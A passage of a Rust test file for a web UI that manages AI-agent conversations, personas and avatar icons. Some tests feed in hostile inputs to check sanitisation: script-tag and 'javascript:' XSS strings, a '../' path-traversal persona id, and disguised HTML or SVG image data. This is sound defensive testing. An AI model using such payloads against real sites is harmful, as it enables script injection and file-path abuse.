12152 serde_json::json!({ "judges": ["nope"] }),
12153 serde_json::json!({ "reviewers": ["b"] }),
12154 serde_json::json!({ "bogus": ["a"] }),
12155 ] {
12156 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
12157 let res = f.put("/api/settings/roles", &body).await;
12158 assert_eq!(res.status, 422, "{roles}: {}", res.body);
12159 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
12160 assert_eq!(
12161 std::fs::read_to_string(&machine).expect("machine"),
12162 machine_text
12163 );
12164 }
12165 }
12166
12167 #[tokio::test]
12168 async fn repos_list_returns_name_and_path_for_every_configured_root() {
12169 let tmp = TempDir::new().expect("tempdir");
12170 let repo = tmp.path().join("repo");
12171 std::fs::create_dir_all(&repo).expect("repo dir");
12172 let root = tmp.path().join("root");
12173 make_checkout(&root, "github.com", "yukimemi", "magi");
12174 std::fs::write(
12175 repo.join("magi.toml"),
12176 format!(
12177 "[repos]\nroots = [{:?}]\n",
12178 root.to_string_lossy().into_owned()
12179 ),
12180 )
12181 .expect("write magi.toml");
12182
12183 let f = Fixture::with_repo(repo).await;
12184 let res = f.get("/api/repos").await;
12185 assert_eq!(res.status, 200, "{}", res.body);
12186 let list = res.json();
12187 let repos = list.as_array().expect("an array");
12188 assert_eq!(repos.len(), 1);
12189 assert_eq!(repos[0]["name"], "yukimemi/magi");
12190 assert!(
12191 repos[0]["path"]
12192 .as_str()
12193 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
12194 "{list}"
12195 );
12196 }
12197
12198 #[tokio::test]
12199 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
12200 let tmp = TempDir::new().expect("tempdir");
12201 let repo = tmp.path().join("repo");
12202 std::fs::create_dir_all(&repo).expect("repo dir");
12203 let root = tmp.path().join("root");
12204 make_checkout(&root, "github.com", "yukimemi", "magi");
12205 std::fs::write(
12206 repo.join("magi.toml"),
12207 format!(
12208 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
12209 root.to_string_lossy().into_owned()
12210 ),
12211 )
12212 .expect("write magi.toml");
12213
12214 let f = Fixture::with_repo(repo).await;
12215 let first = f.get("/api/repos").await;
12216 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
12217
12218 make_checkout(&root, "github.com", "yukimemi", "rvpm");
12221 let second = f.get("/api/repos").await;
12222 assert_eq!(
12223 second.json().as_array().map(Vec::len),
12224 Some(1),
12225 "a fresh cache must not rescan inside the TTL"
12226 );
12227
12228 let refreshed = f.get("/api/repos?refresh=1").await;
12229 assert_eq!(
12230 refreshed.json().as_array().map(Vec::len),
12231 Some(2),
12232 "an explicit refresh must rescan even inside the TTL"
12233 );
12234 }
12235
12236 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
12242
12243 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
12247 let tmp = TempDir::new().expect("tempdir");
12248 let repo = tmp.path().join("repo");
12249 std::fs::create_dir_all(&repo).expect("repo dir");
12250 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
12251 let f = Fixture::with_repo(repo.clone()).await;
12252 (tmp, repo, f)
12253 }
12254
12255 #[tokio::test]
12256 async fn posting_a_talk_with_remembered_choices_is_soft() {
12257 let (_tmp, _repo, f) = talk_fixture().await;
12258
12259 let good = f
12260 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
12261 .await;
12262 assert_eq!(good.status, 201, "{}", good.body);
12263 assert_eq!(good.json()["persona"], "rei");
12264
12265 let stale = f
12267 .post(
12268 "/api/talks",
12269 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
12270 )
12271 .await;
12272 assert_eq!(stale.status, 201, "{}", stale.body);
12273 let v = stale.json();
12274 assert_eq!(v["implementers"], 1);
12275 assert_ne!(v["persona"], "nobody");
12276 let typed = f
12277 .post(
12278 "/api/talks",
12279 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
12280 )
12281 .await;
12282 assert_eq!(typed.status, 201, "{}", typed.body);
12283
12284 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
12286 assert!(
12287 !strict.status.to_string().starts_with('2'),
12288 "{}",
12289 strict.body
12290 );
12291 }
12292
12293 #[tokio::test]
12294 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
12295 let (_tmp, _repo, f) = talk_fixture().await;
12296
12297 let opened = f.post("/api/talks", None).await;
12300 assert_eq!(opened.status, 201, "{}", opened.body);
12301 let body = opened.json();
12302 assert_eq!(body["status"], "open");
12303 assert_eq!(
12304 body["turns"].as_array().unwrap().len(),
12305 0,
12306 "opening takes no agent turn: there is nothing yet to answer"
12307 );
12308
12309 let also_opened = f.post("/api/talks", Some("{}")).await;
12311 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
12312
12313 let listed = f.get("/api/talks").await.json();
12314 assert_eq!(listed.as_array().unwrap().len(), 2);
12315 }
12316
12317 #[tokio::test]
12318 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
12319 let tmp = TempDir::new().expect("tempdir");
12320 let repo = tmp.path().join("repo");
12321 std::fs::create_dir_all(&repo).expect("repo dir");
12322 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
12323 std::fs::write(
12324 repo.join("magi.toml"),
12325 format!("{MOCK_AGENT_TOML}\n{second}"),
12326 )
12327 .expect("write magi.toml");
12328 let home = TempDir::new().expect("temp home");
12329 let talks = Talks::at(home.path().join("talks"));
12330 let ui = Arc::new(
12331 Ui::new(
12332 Queue::at(home.path().join("queue")),
12333 Questions::at(home.path().join("questions")),
12334 talks.clone(),
12335 home.path().join("runs"),
12336 home.path().to_path_buf(),
12337 repo.clone(),
12338 )
12339 .with_worktrees_root(home.path().join("wt")),
12340 );
12341 let cfg = config_for(&repo).await.expect("discover config");
12342 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
12343 let id = talk.id.clone();
12344 let call = |agent: &str| {
12345 talk_agent(
12346 State(Arc::clone(&ui)),
12347 Path(id.clone()),
12348 Json(TalkAgent {
12349 agent: agent.to_owned(),
12350 }),
12351 )
12352 };
12353
12354 let unknown = call("nobody").await.expect_err("unknown agent");
12355 assert_eq!(
12356 unknown.status,
12357 StatusCode::BAD_REQUEST,
12358 "{}",
12359 unknown.message
12360 );
12361
12362 {
12363 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
12366 let busy = call("second").await.expect_err("busy talk");
12367 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
12368 assert!(
12369 busy.message.contains("a talk turn is running"),
12370 "{}",
12371 busy.message
12372 );
12373 drop(guard);
12374 }
12375 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
12376
12377 let Json(view) = call("second").await.expect("switch");
12378 assert_eq!(view.talk.agent, "second");
12379 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
12380 let saved = talks.get(&id).expect("reload");
12381 assert_eq!(saved.agent, "second");
12382 assert_eq!(saved.turns.len(), 1);
12383 assert!(!view.thinking);
12384 assert!(!ui.is_thinking(&id), "idle response must release the claim");
12385 for agent in ["mock", "second"] {
12386 let Json(view) = call(agent).await.expect("immediate consecutive change");
12387 assert_eq!(view.talk.agent, agent);
12388 assert!(!view.thinking);
12389 assert!(!ui.is_thinking(&id));
12390 }
12391
12392 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
12393 .await
12394 .expect("detail");
12395 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
12396 assert_eq!(roster, ["mock", "second"]);
12397
12398 let mut closed = talks.get(&id).expect("reload");
12399 talk::close(&mut closed, &talks).expect("close");
12400 let refused = call("mock").await.expect_err("closed talk");
12401 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
12402 assert!(
12403 refused.message.contains("takes no more turns"),
12404 "{}",
12405 refused.message
12406 );
12407 }
12408
12409 #[tokio::test]
12410 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
12411 let tmp = TempDir::new().expect("tempdir");
12412 let repo = tmp.path().join("repo");
12413 std::fs::create_dir_all(&repo).expect("repo dir");
12414 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
12415 let home = TempDir::new().expect("temp home");
12416 let talks = Talks::at(home.path().join("talks"));
12417 let ui = Arc::new(
12418 Ui::new(
12419 Queue::at(home.path().join("queue")),
12420 Questions::at(home.path().join("questions")),
12421 talks.clone(),
12422 home.path().join("runs"),
12423 home.path().to_path_buf(),
12424 repo.clone(),
12425 )
12426 .with_worktrees_root(home.path().join("wt")),
12427 );
12428 let cfg = config_for(&repo).await.expect("discover config");
12429 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
12430 let id = talk.id.clone();
12431 let call = |n: u8| {
12432 talk_implementers(
12433 State(Arc::clone(&ui)),
12434 Path(id.clone()),
12435 Json(TalkImplementers { implementers: n }),
12436 )
12437 };
12438
12439 for bad in [0u8, 4] {
12440 let e = call(bad).await.expect_err("out of range");
12441 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
12442 }
12443 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
12444
12445 {
12446 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
12449 let busy = call(2).await.expect_err("busy talk");
12450 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
12451 assert!(
12452 busy.message.contains("a talk turn is running"),
12453 "{}",
12454 busy.message
12455 );
12456 drop(guard);
12457 }
12458
12459 let Json(view) = call(3).await.expect("switch");
12460 assert_eq!(view.talk.implementers, 3);
12461 assert!(talks.get(&id).expect("reload").implementers_dirty);
12462 assert!(!view.thinking);
12463 assert!(!ui.is_thinking(&id), "idle response must release the claim");
12464 for n in [1, 2, 3] {
12465 let Json(view) = call(n).await.expect("immediate consecutive change");
12466 assert_eq!(view.talk.implementers, n);
12467 assert!(!view.thinking);
12468 assert!(!ui.is_thinking(&id));
12469 }
12470
12471 let mut closed = talks.get(&id).expect("reload");
12472 talk::close(&mut closed, &talks).expect("close");
12473 let e = call(2).await.expect_err("closed talk");
12474 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
12475 assert!(e.message.contains("takes no more turns"), "{}", e.message);
12476 }
12477
12478 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
12480 let tmp = TempDir::new().expect("tempdir");
12481 let repo = tmp.path().join("repo");
12482 std::fs::create_dir_all(&repo).expect("repo dir");
12483 std::fs::write(
12484 repo.join("magi.toml"),
12485 format!("{MOCK_AGENT_TOML}\n{extra}"),
12486 )
12487 .expect("write magi.toml");
12488 let home = TempDir::new().expect("temp home");
12489 let talks = Talks::at(home.path().join("talks"));
12490 let ui = Arc::new(
12491 Ui::new(
12492 Queue::at(home.path().join("queue")),
12493 Questions::at(home.path().join("questions")),
12494 talks.clone(),
12495 home.path().join("runs"),
12496 home.path().to_path_buf(),
12497 repo.clone(),
12498 )
12499 .with_worktrees_root(home.path().join("wt")),
12500 );
12501 let cfg = config_for(&repo).await.expect("discover config");
12502 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
12503 (tmp, home, ui, talk.id, repo)
12504 }
12505
12506 #[tokio::test]
12507 async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
12508 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12509 let mut conversation = ui.talks.get(&id).unwrap();
12510 talk::record(
12511 &mut conversation,
12512 &ui.talks,
12513 "# Update on a task you filed\noperator words",
12514 vec![],
12515 )
12516 .unwrap();
12517 conversation.turns[0].sender = None;
12519 conversation.turns[0].messages.clear();
12520 ui.talks.put(&mut conversation).unwrap();
12521 talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
12522 talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
12523 talk::drain(&mut conversation, &ui.talks).unwrap();
12524 talk::record_reply(
12525 &mut conversation,
12526 &ui.talks,
12527 "about that report",
12528 vec![],
12529 Some(talk::ReplyTarget {
12530 turn: 1,
12531 message: 1,
12532 }),
12533 )
12534 .unwrap();
12535 conversation.turns[2].messages[0]
12536 .reply
12537 .as_mut()
12538 .unwrap()
12539 .sender = None;
12540 conversation.turns.push(talk::Turn {
12541 sender: Some(talk::Sender::Persona),
12542 who: talk::Who::Agent,
12543 body: "magi: actual persona words".into(),
12544 at: Timestamp::now(),
12545 attachments: vec![],
12546 usage: None,
12547 breaks: None,
12548 messages: vec![],
12549 posted_by: None,
12550 });
12551 ui.talks.put(&mut conversation).unwrap();
12552 let view = TalkView::with_config(
12553 ui.talks.get(&id).unwrap(),
12554 false,
12555 None,
12556 &ui.home,
12557 &ui.references,
12558 );
12559 assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
12560 assert_eq!(
12561 view.talk.turns[1].messages[0].sender,
12562 Some(talk::Sender::Operator)
12563 );
12564 assert_eq!(
12565 view.talk.turns[1].messages[1].sender,
12566 Some(talk::Sender::Magi)
12567 );
12568 assert_eq!(
12569 view.talk.turns[2].messages[0]
12570 .reply
12571 .as_ref()
12572 .unwrap()
12573 .sender,
12574 Some(talk::Sender::Magi)
12575 );
12576 assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
12577 assert_eq!(view.turn_messages_md[0].len(), 1);
12578 assert!(view.turn_messages_md[0][0].is_none());
12579 assert!(view.turn_messages_md[1][0].is_none());
12580 assert!(view.turn_messages_md[1][1].is_some());
12581 }
12582
12583 #[tokio::test]
12584 async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
12585 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12586 let mut conversation = ui.talks.get(&id).unwrap();
12587 let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
12588 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
12589 talk::queue_notice(
12590 &mut conversation,
12591 &ui.talks,
12592 &body,
12593 "watch:123",
12594 &|_| false,
12595 None,
12596 display.clone(),
12597 )
12598 .unwrap();
12599 assert!(
12600 !talk::queue_notice(
12601 &mut conversation,
12602 &ui.talks,
12603 &body,
12604 "watch:123",
12605 &|_| false,
12606 None,
12607 display.clone()
12608 )
12609 .unwrap()
12610 );
12611 let saved = ui.talks.get(&id).unwrap();
12612 assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
12613 let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
12614 assert!(
12615 view.talk.turns[0].messages[0].display.is_none(),
12616 "operator copy stays literal"
12617 );
12618 assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
12619 assert!(view.turn_messages_md[0][0].is_none());
12620 let queued_md = view.pending_messages_md[0].clone();
12621 assert_eq!(
12622 queued_md,
12623 Some(md::to_nodes(&display.facts, &md::ImageBase::None))
12624 );
12625 talk::drain(&mut conversation, &ui.talks).unwrap();
12626 talk::record_reply(
12627 &mut conversation,
12628 &ui.talks,
12629 "Explain",
12630 vec![],
12631 Some(talk::ReplyTarget {
12632 turn: 1,
12633 message: 0,
12634 }),
12635 )
12636 .unwrap();
12637 let mut saved = ui.talks.get(&id).unwrap();
12638 assert_eq!(saved.turns[1].messages[0].body, body);
12639 assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
12640 let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
12641 assert!(!reply.excerpt.contains("automatic report"));
12642 reply.excerpt = body.chars().take(240).collect(); saved.turns[1].messages[0].display = None; ui.talks.put(&mut saved).unwrap();
12645 let view = TalkView::with_config(
12646 ui.talks.get(&id).unwrap(),
12647 false,
12648 None,
12649 &ui.home,
12650 &ui.references,
12651 );
12652 assert_eq!(view.turn_messages_md[1][0], queued_md);
12653 assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
12654 assert!(
12655 !view.talk.turns[2].messages[0]
12656 .reply
12657 .as_ref()
12658 .unwrap()
12659 .excerpt
12660 .contains("automatic report")
12661 );
12662 assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
12663 }
12664
12665 #[tokio::test]
12666 async fn consultation_display_hides_directives_in_queue_and_history() {
12667 for node in [
12668 "implement",
12669 crate::land::APPROVAL_NODE,
12670 crate::github_text::ASK_NODE,
12671 ] {
12672 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12673 let mut question = Question::new(
12674 "run-123".into(),
12675 node.into(),
12676 "seat-1".into(),
12677 "Which backend?".into(),
12678 "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
12679 vec!["SQLite".into(), "Redis".into()],
12680 );
12681 ui.questions.put(&mut question).unwrap();
12682 let body = crate::prompt::chat_consult(&question);
12683 let mut conversation = ui.talks.get(&id).unwrap();
12684 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
12685 assert!(
12686 crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
12687 );
12688 conversation = ui.talks.get(&id).unwrap();
12689 assert_eq!(conversation.pending_messages[0].body, body);
12690 assert!(body.contains("magi answer"));
12691 let mut legacy_pending = conversation.clone();
12692 legacy_pending.pending_messages[0].display = None;
12693 let legacy_view =
12694 TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
12695 let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
12696 assert!(legacy_md.contains("Question consultation"));
12697 assert!(!legacy_md.contains("magi answer"));
12698 let view =
12699 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
12700 assert!(
12701 view.turn_messages_md[0][0].is_none(),
12702 "operator copy stays literal"
12703 );
12704 let queued_md = view.pending_messages_md[0].clone().unwrap();
12705 let rendered = serde_json::to_string(&queued_md).unwrap();
12706 for visible in [
12707 "Which backend?",
12708 "Context",
12709 "storage",
12710 "SQLite",
12711 "Redis",
12712 "<script>literal</script>",
12713 ] {
12714 assert!(rendered.contains(visible), "missing {visible}");
12715 }
12716 for directive in [
12717 "What to do",
12718 "magi answer",
12719 "Never answer it yourself",
12720 "Do not edit the repository",
12721 ] {
12722 assert!(!rendered.contains(directive), "exposed {directive}");
12723 }
12724 assert_eq!(
12725 view.talk.pending_messages[0].display,
12726 Some(crate::prompt::chat_consult_display(&question))
12727 );
12728 talk::drain(&mut conversation, &ui.talks).unwrap();
12729 let view =
12730 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
12731 assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
12732 assert_eq!(conversation.turns[1].messages[0].body, body);
12733
12734 conversation.turns[1].messages[0].display = None;
12737 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
12738 let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
12739 assert!(legacy.contains("Question consultation"));
12740 assert!(!legacy.contains("magi answer"));
12741 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
12742 }
12743 }
12744
12745 #[test]
12746 fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
12747 let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
12748 let (body, mut display) =
12749 crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
12750 display.facts = facts.into();
12751 let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
12752 assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
12753 let json = serde_json::to_string(&nodes).unwrap();
12754 for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
12755 assert!(json.contains(&format!("\"type\":\"{kind}\"")));
12756 }
12757 assert!(json.contains("<script>alert(1)</script>"));
12758 assert!(!json.contains("javascript:"));
12759 assert!(!json.contains("Tell the operator"));
12760 assert!(!json.contains("untrusted"));
12761 assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
12762 assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
12763 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
12764 assert_eq!(
12765 notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
12766 md::to_nodes("# Status", &md::ImageBase::None),
12767 );
12768 }
12769
12770 #[tokio::test]
12771 async fn notification_display_recovers_exact_legacy_completion_references() {
12772 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12773 let mut conversation = ui.talks.get(&id).unwrap();
12774 let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
12775 id: "task-123",
12776 title: "Change",
12777 status: "done",
12778 reason: None,
12779 run: Some("run-123"),
12780 pr: None,
12781 summary: Some("Merge state unknown"),
12782 });
12783 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
12784 conversation.turns[0].sender = None;
12785 conversation.turns[0].messages.clear();
12786 conversation.turns[0].breaks = None;
12787 conversation.pending = body.clone();
12788 conversation
12789 .completion_notices
12790 .push(crate::chat_notify::CompletionReference {
12791 task: "task-123".into(),
12792 run: Some("run-123".into()),
12793 notice: body.clone(),
12794 });
12795 ui.talks.put(&mut conversation).unwrap();
12796 let view = TalkView::with_config(
12797 ui.talks.get(&id).unwrap(),
12798 false,
12799 None,
12800 &ui.home,
12801 &ui.references,
12802 );
12803 assert_eq!(
12804 view.talk.turns[0].messages[0].display,
12805 Some(display.clone())
12806 );
12807 assert_eq!(view.talk.pending_messages[0].display, Some(display));
12808 assert_eq!(
12809 view.talk.turns[0].messages[0].sender,
12810 Some(talk::Sender::Magi)
12811 );
12812 assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
12813 conversation.completion_notices[0]
12814 .notice
12815 .push_str("different");
12816 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
12817 assert!(view.talk.turns[0].messages.is_empty());
12818 assert!(view.talk.pending_messages.is_empty());
12819 }
12820
12821 #[tokio::test]
12822 async fn avatar_settings_report_states_and_inherit_after_corruption() {
12823 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
12824 let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
12825 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
12826 ))
12827 .await;
12828 let path = avatar_setting_path(home.path(), Some("rei"));
12829 let orphan = avatar_setting_path(home.path(), Some("removed"));
12830 save_icon_file(&orphan, icon).unwrap();
12831 for (saved, expected) in [
12832 (icon, "custom"),
12833 ("builtin", "builtin"),
12834 ("data:image/png;base64,!!!!", "inherit"),
12835 ("data:image/png;base64,PGh0bWw+", "inherit"),
12836 ("/tmp/avatar.png", "inherit"),
12837 ] {
12838 atomic_icon_write(&path, saved).unwrap();
12839 let catalog =
12840 avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
12841 .await
12842 .unwrap()
12843 .0;
12844 let personas = catalog["personas"].as_array().unwrap();
12845 let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
12846 assert_eq!(rei["override_state"], expected);
12847 assert_eq!(rei["has_config_icon"], true);
12848 assert_eq!(rei["is_orphan"], false);
12849 let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
12850 assert_eq!(removed["override_state"], "custom");
12851 assert_eq!(removed["is_orphan"], true);
12852 let default = personas.iter().find(|p| p["id"] == "default").unwrap();
12853 assert_eq!(default["override_state"], "inherit");
12854 assert_eq!(default["has_config_icon"], false);
12855 let effective = effective_persona_icon(home.path(), "rei", Some(icon));
12856 assert_eq!(
12857 effective.as_deref(),
12858 Some(if expected == "builtin" { "" } else { icon })
12859 );
12860 }
12861 }
12862
12863 #[tokio::test]
12864 async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
12865 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
12866 let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
12867 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
12868 ))
12869 .await;
12870 let target = |id: Option<&str>| AvatarSettingsQuery {
12871 persona: id.map(str::to_owned),
12872 ..Default::default()
12873 };
12874 let original_config = config_for(&repo).await.unwrap();
12875 let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
12876 let original_prompt = persona::section_for(&original_persona, None);
12877 let before = talk_detail(State(ui.clone()), Path(id.clone()))
12878 .await
12879 .unwrap()
12880 .0;
12881 for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
12882 let _ = avatar_settings_put(
12883 State(ui.clone()),
12884 Query(target(persona)),
12885 Json(MagiIconUpload { icon: icon.into() }),
12886 )
12887 .await
12888 .unwrap();
12889 let path = avatar_setting_path(home.path(), persona);
12890 assert!(path.starts_with(home.path().join("avatars")));
12891 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
12892 for bad in [
12893 "/tmp/image.png".to_owned(),
12894 "data:image/png;base64,!!!!".to_owned(),
12895 "data:image/png;base64,PGh0bWw+".to_owned(),
12896 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
12897 format!(
12898 "data:image/png;base64,{}",
12899 "A".repeat(persona_icon::ICON_MAX_BYTES)
12900 ),
12901 ] {
12902 assert!(
12903 avatar_settings_put(
12904 State(ui.clone()),
12905 Query(target(persona)),
12906 Json(MagiIconUpload { icon: bad })
12907 )
12908 .await
12909 .is_err()
12910 );
12911 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
12912 }
12913 }
12914 assert!(read_magi_icon(home.path()).is_none());
12915 assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
12916 let after = talk_detail(State(ui.clone()), Path(id.clone()))
12917 .await
12918 .unwrap()
12919 .0;
12920 assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
12921 assert_ne!(
12922 before
12923 .personas
12924 .iter()
12925 .find(|p| p.id == "magi")
12926 .unwrap()
12927 .avatar,
12928 after
12929 .personas
12930 .iter()
12931 .find(|p| p.id == "magi")
12932 .unwrap()
12933 .avatar
12934 );
12935 let restarted = Arc::new(Ui::new(
12936 Queue::at(home.path().join("queue")),
12937 Questions::at(home.path().join("questions")),
12938 Talks::at(home.path().join("talks")),
12939 home.path().join("runs"),
12940 home.path().to_owned(),
12941 repo,
12942 ));
12943 let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
12944 .await
12945 .unwrap()
12946 .0;
12947 assert!(
12948 catalog["personas"]
12949 .as_array()
12950 .unwrap()
12951 .iter()
12952 .any(|p| p["id"] == "../custom/日本語")
12953 );
12954 for expected in ["custom", "default", "rei"] {
12955 assert!(
12956 catalog["personas"]
12957 .as_array()
12958 .unwrap()
12959 .iter()
12960 .any(|p| p["id"] == expected)
12961 );
12962 }
12963 let response =
12964 operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
12965 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
12966 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
12967 .await
12968 .unwrap();
12969 assert_eq!(
12970 effective_persona_icon(home.path(), "rei", Some(icon)),
12971 Some(String::new())
12972 );
12973 let response = talk_avatar(
12974 State(restarted.clone()),
12975 Path(id.clone()),
12976 Query(AvatarQuery {
12977 persona: Some("rei".into()),
12978 ..Default::default()
12979 }),
12980 )
12981 .await
12982 .unwrap();
12983 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
12984 let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
12985 .await
12986 .unwrap()
12987 .0;
12988 assert_ne!(
12989 after
12990 .personas
12991 .iter()
12992 .find(|p| p.id == "rei")
12993 .unwrap()
12994 .avatar,
12995 reset
12996 .personas
12997 .iter()
12998 .find(|p| p.id == "rei")
12999 .unwrap()
13000 .avatar
13001 );
13002 let mut inherit = target(Some("rei"));
13003 inherit.inherit = Some("1".into());
13004 let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
13005 .await
13006 .unwrap();
13007 assert_eq!(
13008 effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
13009 Some(icon)
13010 );
13011 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
13012 .await
13013 .unwrap();
13014 assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
13015 assert_eq!(
13016 read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
13017 Some(icon)
13018 );
13019 let cfg = config_for(&ui.repo).await.unwrap();
13021 let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
13022 assert_eq!(persona::section_for(&resolved, None), original_prompt);
13023 assert!(!original_prompt.contains("data:image"));
13024 assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
13025 let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
13026 assert!(!stored.contains("data:image"));
13027 let mut orphan = ui.talks.get(&id).unwrap();
13028 orphan.persona = "../custom/日本語".into();
13029 let view = TalkView::with_config(
13030 orphan,
13031 false,
13032 Some(&cfg),
13033 home.path(),
13034 &id_links::IndexCache::default(),
13035 );
13036 assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
13037 }
13038
13039 #[tokio::test]
13040 async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
13041 let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
13042 let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
